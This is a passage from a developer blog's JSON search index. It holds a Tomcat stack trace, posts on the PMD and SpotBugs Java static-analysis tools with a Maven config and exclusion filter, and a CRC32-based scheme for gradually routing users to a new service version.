class=\"n\"\u003eorg\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003eapache\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003ecoyote\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003ehttp11\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003eHttp11Processor\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003eservice\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eHttp11Processor\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003ejava\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"n\"\u003e703\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"n\"\u003eat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eorg\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003eapache\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003ecoyote\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003eAbstractProcessorLight\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003eprocess\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eAbstractProcessorLight\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003ejava\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"n\"\u003e66\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"n\"\u003eat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eorg\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003eapache\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003ecoyote\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003eAbstractProtocol$ConnectionHandler\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003eprocess\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eAbstractProtocol\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003ejava\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"n\"\u003e790\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"n\"\u003eat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eorg\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003eapache\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003etomcat\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003eutil\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003enet\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003eNioEndpoint$SocketProcessor\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003edoRun\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eNioEndpoint\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003ejava\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"n\"\u003e1468\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"n\"\u003eat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eorg\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003eapache\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003etomcat\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003eutil\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003enet\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003eSocketProcessorBase\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003erun\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eSocketProcessorBase\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003ejava\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"n\"\u003e49\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"n\"\u003eat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ejava\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003eutil\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003econcurrent\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003eThreadPoolExecutor\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003erunWorker\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eThreadPoolExecutor\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003ejava\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"n\"\u003e1142\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"n\"\u003eat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ejava\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003eutil\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003econcurrent\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003eThreadPoolExecutor$Worker\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003erun\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eThreadPoolExecutor\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003ejava\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"n\"\u003e617\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"n\"\u003eat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eorg\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003eapache\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003etomcat\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003eutil\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003ethreads\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003eTaskThread$WrappingRunnable\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003erun\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eTaskThread\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003ejava\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"n\"\u003e61\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"n\"\u003eat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ejava\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003elang\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003eThread\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003erun\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eThread\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003ejava\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"n\"\u003e745\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eInterestingly, the occurrence of these errors in the logs were very few but I was seeing lot of failures in our availability dashboards. That\u0026rsquo;s where I observed this note in the exception:\u003c/p\u003e","title":"Solving: Request header is too large"},{"content":" Must have Java code analysis Tools - Part 1 Must have Java code analysis Tools - Part 2 In the last post, we looked at Spotbugs, which focuses on the code linting at the bytecode level.\nIn this post, we will look at PMD, which again works at the source level to find out possible bugs in your java code.\nThe list of entire checks which PMD finds can be found here\nThere is also a discussion of differences between Findbugs and PMD\nRunning the PMD Instead of focusing on running with build process, I will focus on running it manually. Though it still can be integrated with build process and that remains the recommended approach.\nOn MAC, it can be simply installed with command brew install pmd\nOn other OS, installation instructions are given here\nConfiguring Rules As shown in the documentation, PMD comes with rich set of rules. As opposed to Checkstyle, PMD is lot fuzzier in its analysis i.e. it can flag rules, which sometimes might not be really a violation. For this reason, PMD allows you to assign priorities (a number between 1 to 5) to the rules and then based on your preferences, you can choose to fix, let\u0026rsquo;s say highest priority issues only (1 being the highest).\nExecuting PMD Once PMD is installed, it can be executed simply as below in the root directory of your project.\npmd pmd -d ./ -language java -R rulesets/java/quickstart.xml Here rulesets/java/quickstart.xml specifies the list of rules to be executed which is an inbuilt ruleset to get started with.\nWe can also filter the output by priority, such as\npmd pmd -d ./ -language java -R rulesets/java/quickstart.xml - min 2 I prefer to create my own rules file for my projects. A custom rule file can be specified as\npmd pmd -d ./ -language java -R ./pmd-rules.xml Finally, here is the list of rules, which I use for my projects. This has served us really well.\n","permalink":"https://madhur.co.in/blog/2020/02/15/must-have-java-code-analysis-tools-part3.html","summary":"\u003cul\u003e\n\u003cli\u003e\u003ca href=\"/blog/2020/01/26/must-have-java-code-analysis-tools-part1.html\"\u003eMust have Java code analysis Tools - Part 1\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"/blog/2020/02/02/must-have-java-code-analysis-tools-part2.html\"\u003eMust have Java code analysis Tools - Part 2\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eIn the last \u003ca href=\"/blog/2020/02/02/must-have-java-code-analysis-tools-part2.html\"\u003epost\u003c/a\u003e, we looked at \u003ca href=\"https://spotbugs.github.io/\"\u003eSpotbugs\u003c/a\u003e, which focuses on the code linting at the bytecode level.\u003c/p\u003e\n\u003cp\u003eIn this post, we will look at \u003ca href=\"https://pmd.github.io/\"\u003ePMD\u003c/a\u003e, which again works at the source level to find out possible bugs in your java code.\u003c/p\u003e\n\u003cp\u003eThe list of entire checks which PMD finds can be found \u003ca href=\"https://pmd.github.io/pmd-6.21.0/pmd_rules_java.html\"\u003ehere\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eThere is also a \u003ca href=\"https://stackoverflow.com/questions/4297014/what-are-the-differences-between-pmd-and-findbugs\"\u003ediscussion\u003c/a\u003e of differences between Findbugs and PMD\u003c/p\u003e","title":"Must have Java code analysis Tools - Part 3"},{"content":"Recently, I had a requirement to incrementally increase the traffic to a newer version of service we were deploying in production.\nWe didn\u0026rsquo;t wanted to go with random percentage approach. This is because our users are mobile app users and we didn\u0026rsquo;t want the users to hit the older version and newer version of service randomly.\nThat is, we wanted to consistently map the user to either be routed to an older version of newer version based on certain configurable percentage.\nOpen diagram in fullscren\nOur proxy server was based on node.js\nAfter evaluating several algorithms to generate hash based on user id, such as Base64, MD5. I finally zeroed out on CRC32 algorithm.\nThe simple reason being that output of CRC32 is a simple 32 bit integer which can be easily converted to a percentage value and the performance of crc32 being the fastest among all.\nThe simple methods below give the gist of algorithm. Our getHash function generates the 32 bit integer and routeRequestBasedonRampUp method uses this integer to map it to 1..100 buckets. Based on the rampup percentage value, it gives a boolean response which is used by proxy layer.\nconst getHash = userId =\u0026gt; { return CRC32.str(userId) \u0026gt;\u0026gt;\u0026gt; 0; }; const routeRequestBasedonRampUp = (userId, rampUpPercent) =\u0026gt; { const NUM_BUCKETS = 100; const hash = getHash(userId); const bucket = hash % NUM_BUCKETS; return (bucket + 1 \u0026lt;= rampUpPercent); }; I have used this approach in production with this crc32 library\nThe decisioning time is \u0026lt;1ms and have been serving us really well.\nPlease let me know in the comments section if you think any better approach is available.\n","permalink":"https://madhur.co.in/blog/2020/02/08/incrementally-route-traffic-newer-version-service.html","summary":"\u003cp\u003eRecently, I had a requirement to incrementally increase the traffic to a newer version of service we were deploying in production.\u003c/p\u003e\n\u003cp\u003eWe didn\u0026rsquo;t wanted to go with random percentage approach. This is because our users are mobile app users and we didn\u0026rsquo;t want the users to hit the older version and newer version of service randomly.\u003c/p\u003e\n\u003cp\u003eThat is, we wanted to consistently map the user to either be routed to an older version of newer version based on certain configurable percentage.\u003c/p\u003e","title":"Incrementally routing traffic to newer version of service"},{"content":" Must have Java code analysis Tools - Part 1 Must have Java code analysis Tools - Part 3 In the last post, we looked at checkstyle, which focuses on the code linting at the source level.\nIn this post, we will look at SpotBugs, which is a successor of FindBugs. SpotBugs works at the bytecode level instead of the source level. Hence it is able, to find out possible bugs in your java code.\nThe list of entire checks which SpotBugs finds can be found here\nRunning with build process Again, SpotBugs is most useful when integrated with build tool such as Maven or Gradle.\nFor example, We use the following section in pom.xml to run SpotBugs as part of build process\n\u0026lt;plugin\u0026gt; \u0026lt;groupId\u0026gt;com.github.spotbugs\u0026lt;/groupId\u0026gt; \u0026lt;artifactId\u0026gt;spotbugs-maven-plugin\u0026lt;/artifactId\u0026gt; \u0026lt;version\u0026gt;${spotbugs.version}\u0026lt;/version\u0026gt; \u0026lt;configuration\u0026gt; \u0026lt;effort\u0026gt;Max\u0026lt;/effort\u0026gt; \u0026lt;threshold\u0026gt;Low\u0026lt;/threshold\u0026gt; \u0026lt;xmlOutput\u0026gt;true\u0026lt;/xmlOutput\u0026gt; \u0026lt;failOnError\u0026gt;true\u0026lt;/failOnError\u0026gt; \u0026lt;excludeFilterFile\u0026gt;spotbugs-exclude.xml\u0026lt;/excludeFilterFile\u0026gt; \u0026lt;/configuration\u0026gt; \u0026lt;executions\u0026gt; \u0026lt;execution\u0026gt; \u0026lt;phase\u0026gt;compile\u0026lt;/phase\u0026gt; \u0026lt;goals\u0026gt; \u0026lt;goal\u0026gt;check\u0026lt;/goal\u0026gt; \u0026lt;/goals\u0026gt; \u0026lt;/execution\u0026gt; \u0026lt;/executions\u0026gt; \u0026lt;/plugin\u0026gt; Here setting failsOnError attribute true causes the build to fail if violations are fail.\nThere might be certain bugs, which you do not want SpotBugs to alert on. They can be configured in an exclusion file. As shown in the above example, it is configured in spotbugs-exclude.xml.\nThe exclusions can be configured at class level or even method level. Below XML is an example of exclusion file.\n\u0026lt;!-- This file specifies a spotbugs filter for excluding reports that should not be considered errors. The format of this file is documented at: https://spotbugs.readthedocs.io/en/latest/filter.html When possible, please specify the full names of the bug codes, using the pattern attribute, to make it clearer what reports are being suppressed. You can find a listing of codes at: https://spotbugs.readthedocs.io/en/latest/bugDescriptions.html --\u0026gt; \u0026lt;FindBugsFilter\u0026gt; \u0026lt;Match\u0026gt; \u0026lt;Or\u0026gt; \u0026lt;!-- Ignore checking for generated parser classes --\u0026gt; \u0026lt;Class name=\u0026#34;io.undertow.client.http.HttpResponseParser$$generated\u0026#34;/\u0026gt; \u0026lt;Class name=\u0026#34;io.undertow.server.protocol.http.HttpRequestParser$$generated\u0026#34;/\u0026gt; \u0026lt;!-- Ignore checking for generated JMH benchmarking classes --\u0026gt; \u0026lt;Package name=\u0026#34;io.undertow.benchmarks.generated\u0026#34;/\u0026gt; \u0026lt;/Or\u0026gt; \u0026lt;/Match\u0026gt; \u0026lt;!-- Ignore spotbugs reports from incomplete detectors --\u0026gt; \u0026lt;Match\u0026gt; \u0026lt;Bug pattern=\u0026#34;TESTING\u0026#34;/\u0026gt; \u0026lt;/Match\u0026gt; \u0026lt;!-- We don\u0026#39;t mind having redundant checks for null, it is more error prone to later changes --\u0026gt; \u0026lt;Match\u0026gt; \u0026lt;Bug pattern=\u0026#34;RCN_REDUNDANT_NULLCHECK_OF_NONNULL_VALUE\u0026#34;/\u0026gt; \u0026lt;/Match\u0026gt; \u0026lt;!-- Ignore negating result of compareTo --\u0026gt; \u0026lt;Match\u0026gt; \u0026lt;Bug pattern=\u0026#34;RV_NEGATING_RESULT_OF_COMPARETO\u0026#34;/\u0026gt; \u0026lt;/Match\u0026gt; \u0026lt;!-- Ignore class naming convention issues --\u0026gt; \u0026lt;Match\u0026gt; \u0026lt;Bug pattern=\u0026#34;NM_CLASS_NAMING_CONVENTION\u0026#34;/\u0026gt; \u0026lt;/Match\u0026gt; \u0026lt;!-- Ignore unread public and protected fields as someone may depend on Undertow and use them in their app --\u0026gt; \u0026lt;Match\u0026gt; \u0026lt;Bug pattern=\u0026#34;URF_UNREAD_PUBLIC_OR_PROTECTED_FIELD\u0026#34;/\u0026gt; \u0026lt;/Match\u0026gt; \u0026lt;!-- False positives =\u0026gt; ignoring, the field is read in tests --\u0026gt; \u0026lt;Match\u0026gt; \u0026lt;Bug pattern=\u0026#34;URF_UNREAD_FIELD\u0026#34;/\u0026gt; \u0026lt;Or\u0026gt; \u0026lt;And\u0026gt; \u0026lt;Class name=\u0026#34;io.undertow.server.protocol.ajp.AjpRequestParseState\u0026#34;/\u0026gt; \u0026lt;Field name=\u0026#34;dataSize\u0026#34;/\u0026gt; \u0026lt;/And\u0026gt; \u0026lt;/Or\u0026gt; \u0026lt;/Match\u0026gt; \u0026lt;!-- False positives =\u0026gt; ignoring, the field is regular boolean, no complex bitwise operation is in place here --\u0026gt; \u0026lt;Match\u0026gt; \u0026lt;Bug pattern=\u0026#34;BIT_IOR\u0026#34;/\u0026gt; \u0026lt;Or\u0026gt; \u0026lt;And\u0026gt; \u0026lt;Class name=\u0026#34;io.undertow.conduits.AbstractFixedLengthStreamSinkConduit\u0026#34;/\u0026gt; \u0026lt;/And\u0026gt; \u0026lt;/Or\u0026gt; \u0026lt;/Match\u0026gt; \u0026lt;!-- field is always incremented/decremented inside synchronized blocks using the same lock --\u0026gt; \u0026lt;Match\u0026gt; \u0026lt;Bug pattern=\u0026#34;VO_VOLATILE_INCREMENT\u0026#34;/\u0026gt; \u0026lt;Or\u0026gt; \u0026lt;And\u0026gt; \u0026lt;Class name=\u0026#34;io.undertow.server.protocol.framed.AbstractFramedStreamSinkChannel\u0026#34;/\u0026gt; \u0026lt;Field name=\u0026#34;waiterCount\u0026#34;/\u0026gt; \u0026lt;/And\u0026gt; \u0026lt;And\u0026gt; \u0026lt;Class name=\u0026#34;io.undertow.server.handlers.proxy.mod_cluster.NodeLbStatus\u0026#34;/\u0026gt; \u0026lt;Field name=\u0026#34;elected\u0026#34;/\u0026gt; \u0026lt;/And\u0026gt; \u0026lt;And\u0026gt; \u0026lt;Class name=\u0026#34;io.undertow.websockets.jsr.SessionContainer\u0026#34;/\u0026gt; \u0026lt;Field name=\u0026#34;waiterCount\u0026#34;/\u0026gt; \u0026lt;/And\u0026gt; \u0026lt;/Or\u0026gt; \u0026lt;/Match\u0026gt; \u0026lt;!--Stream id in HTTP/2 is always unsigned int per spec --\u0026gt; \u0026lt;Match\u0026gt; \u0026lt;Bug pattern=\u0026#34;IM_BAD_CHECK_FOR_ODD\u0026#34;/\u0026gt; \u0026lt;Class name=\u0026#34;io.undertow.protocols.http2.Http2Channel\u0026#34;/\u0026gt; \u0026lt;Method name=\u0026#34;isClient\u0026#34;/\u0026gt; \u0026lt;/Match\u0026gt; \u0026lt;!-- Even per javadoc of Object.wait(), this should be always used in loop. It is on purpose --\u0026gt; \u0026lt;Match\u0026gt; \u0026lt;Bug pattern=\u0026#34;WA_NOT_IN_LOOP\u0026#34;/\u0026gt; \u0026lt;Or\u0026gt; \u0026lt;And\u0026gt; \u0026lt;Class name=\u0026#34;io.undertow.protocols.ssl.SslConduit\u0026#34;/\u0026gt; \u0026lt;Method name=\u0026#34;~await.*\u0026#34;/\u0026gt; \u0026lt;/And\u0026gt; \u0026lt;And\u0026gt; \u0026lt;Class name=\u0026#34;io.undertow.server.protocol.framed.AbstractFramedStreamSourceChannel\u0026#34;/\u0026gt; \u0026lt;Method name=\u0026#34;awaitReadable\u0026#34;/\u0026gt; \u0026lt;/And\u0026gt; \u0026lt;And\u0026gt; \u0026lt;Class name=\u0026#34;io.undertow.server.protocol.framed.AbstractFramedStreamSinkChannel\u0026#34;/\u0026gt; \u0026lt;Method name=\u0026#34;awaitWritable\u0026#34;/\u0026gt; \u0026lt;/And\u0026gt; \u0026lt;/Or\u0026gt; \u0026lt;/Match\u0026gt; \u0026lt;!-- Ignore returning references to internal representations of objects --\u0026gt; \u0026lt;Match\u0026gt; \u0026lt;Bug pattern=\u0026#34;EI_EXPOSE_REP\u0026#34;/\u0026gt; \u0026lt;/Match\u0026gt; \u0026lt;!-- Ignoring when internal representation stores reference to external representation --\u0026gt; \u0026lt;Match\u0026gt; \u0026lt;Bug pattern=\u0026#34;EI_EXPOSE_REP2\u0026#34;/\u0026gt; \u0026lt;/Match\u0026gt; \u0026lt;!-- Intentional switch case follow through --\u0026gt; \u0026lt;Match\u0026gt; \u0026lt;Bug pattern=\u0026#34;SF_SWITCH_FALLTHROUGH\u0026#34;/\u0026gt; \u0026lt;Or\u0026gt; \u0026lt;And\u0026gt; \u0026lt;Class name=\u0026#34;io.undertow.protocols.ajp.AjpResponseParser\u0026#34;/\u0026gt; \u0026lt;Method name=\u0026#34;parse\u0026#34; params=\u0026#34;java.nio.ByteBuffer\u0026#34; returns=\u0026#34;void\u0026#34;/\u0026gt; \u0026lt;/And\u0026gt; \u0026lt;And\u0026gt; \u0026lt;Class name=\u0026#34;io.undertow.server.protocol.ajp.AjpRequestParser\u0026#34;/\u0026gt; \u0026lt;Method name=\u0026#34;parse\u0026#34;/\u0026gt; \u0026lt;/And\u0026gt; \u0026lt;And\u0026gt; \u0026lt;Class name=\u0026#34;io.undertow.util.Cookies\u0026#34;/\u0026gt; \u0026lt;Method name=\u0026#34;parseCookie\u0026#34;/\u0026gt; \u0026lt;/And\u0026gt; \u0026lt;And\u0026gt; \u0026lt;Class name=\u0026#34;io.undertow.util.PathTemplate\u0026#34;/\u0026gt; \u0026lt;Method name=\u0026#34;create\u0026#34;/\u0026gt; \u0026lt;/And\u0026gt; \u0026lt;/Or\u0026gt; \u0026lt;/Match\u0026gt; \u0026lt;!-- Path has always some elements in our cases =\u0026gt; ignoring --\u0026gt; \u0026lt;Match\u0026gt; \u0026lt;Bug pattern=\u0026#34;NP_NULL_ON_SOME_PATH_FROM_RETURN_VALUE\u0026#34;/\u0026gt; \u0026lt;Class name=\u0026#34;io.undertow.server.handlers.resource.PathResource\u0026#34;/\u0026gt; \u0026lt;/Match\u0026gt; \u0026lt;!-- The PathTemplate equivalent always exist, checked already by the contains method --\u0026gt; \u0026lt;Match\u0026gt; \u0026lt;Bug pattern=\u0026#34;NP_NULL_ON_SOME_PATH\u0026#34;/\u0026gt; \u0026lt;Class name=\u0026#34;io.undertow.util.PathTemplateMatcher\u0026#34;/\u0026gt; \u0026lt;/Match\u0026gt; \u0026lt;!-- Ignoring switch cases with no default, all cases which can occur are covered --\u0026gt; \u0026lt;!-- TODO: Discuss with developer, whether not to add there some exception being thrown in such cases --\u0026gt; \u0026lt;Match\u0026gt; \u0026lt;Bug pattern=\u0026#34;SF_SWITCH_NO_DEFAULT\u0026#34;/\u0026gt; \u0026lt;/Match\u0026gt; \u0026lt;!-- Intentional throwing RuntimeException instead of checked exception --\u0026gt; \u0026lt;Match\u0026gt; \u0026lt;Bug pattern=\u0026#34;REC_CATCH_EXCEPTION\u0026#34;/\u0026gt; \u0026lt;Or\u0026gt; \u0026lt;!-- Intentional throwing RuntimeException instead of checked exception --\u0026gt; \u0026lt;And\u0026gt; \u0026lt;Class name=\u0026#34;io.undertow.Undertow\u0026#34;/\u0026gt; \u0026lt;Method name=\u0026#34;start\u0026#34;/\u0026gt; \u0026lt;/And\u0026gt; \u0026lt;!-- Intentional throwing RuntimeException instead of checked exception --\u0026gt; \u0026lt;And\u0026gt; \u0026lt;Class name=\u0026#34;io.undertow.server.handlers.proxy.mod_cluster.MCMPHandler\u0026#34;/\u0026gt; \u0026lt;Method name=\u0026#34;processConfig\u0026#34;/\u0026gt; \u0026lt;/And\u0026gt; \u0026lt;!-- Intentional not throwing exception --\u0026gt; \u0026lt;And\u0026gt; \u0026lt;Class name=\u0026#34;io.undertow.util.FlexBase64$Encoder\u0026#34;/\u0026gt; \u0026lt;Method name=\u0026#34;encodeString\u0026#34;/\u0026gt; \u0026lt;/And\u0026gt; \u0026lt;!-- Intentional not throwing exception --\u0026gt; \u0026lt;And\u0026gt; \u0026lt;Class name=\u0026#34;io.undertow.protocols.alpn.JDK9AlpnProvider$1\u0026#34;/\u0026gt; \u0026lt;Method name=\u0026#34;run\u0026#34;/\u0026gt; \u0026lt;/And\u0026gt; \u0026lt;/Or\u0026gt; \u0026lt;/Match\u0026gt; \u0026lt;!-- The SQL is created based on configuration of the Handler =\u0026gt; when proper configuration is created, then the risk of SQL injection is evaded --\u0026gt; \u0026lt;Match\u0026gt; \u0026lt;Bug pattern=\u0026#34;SQL_PREPARED_STATEMENT_GENERATED_FROM_NONCONSTANT_STRING\u0026#34;/\u0026gt; \u0026lt;Class name=\u0026#34;io.undertow.server.handlers.JDBCLogHandler\u0026#34;/\u0026gt; \u0026lt;Method name=\u0026#34;prepareStatement\u0026#34;/\u0026gt; \u0026lt;/Match\u0026gt; \u0026lt;!--Some inner subclasses of the AjpClientChannel class require to be non static, we want all of the same type inner --\u0026gt; \u0026lt;!--classes to be the same --\u0026gt; \u0026lt;Match\u0026gt; \u0026lt;Bug pattern=\u0026#34;SIC_INNER_SHOULD_BE_STATIC\u0026#34;/\u0026gt; \u0026lt;Class name=\u0026#34;~io\\.undertow\\.protocols\\.ajp\\.AjpClientChannel\\$.*\u0026#34;/\u0026gt; 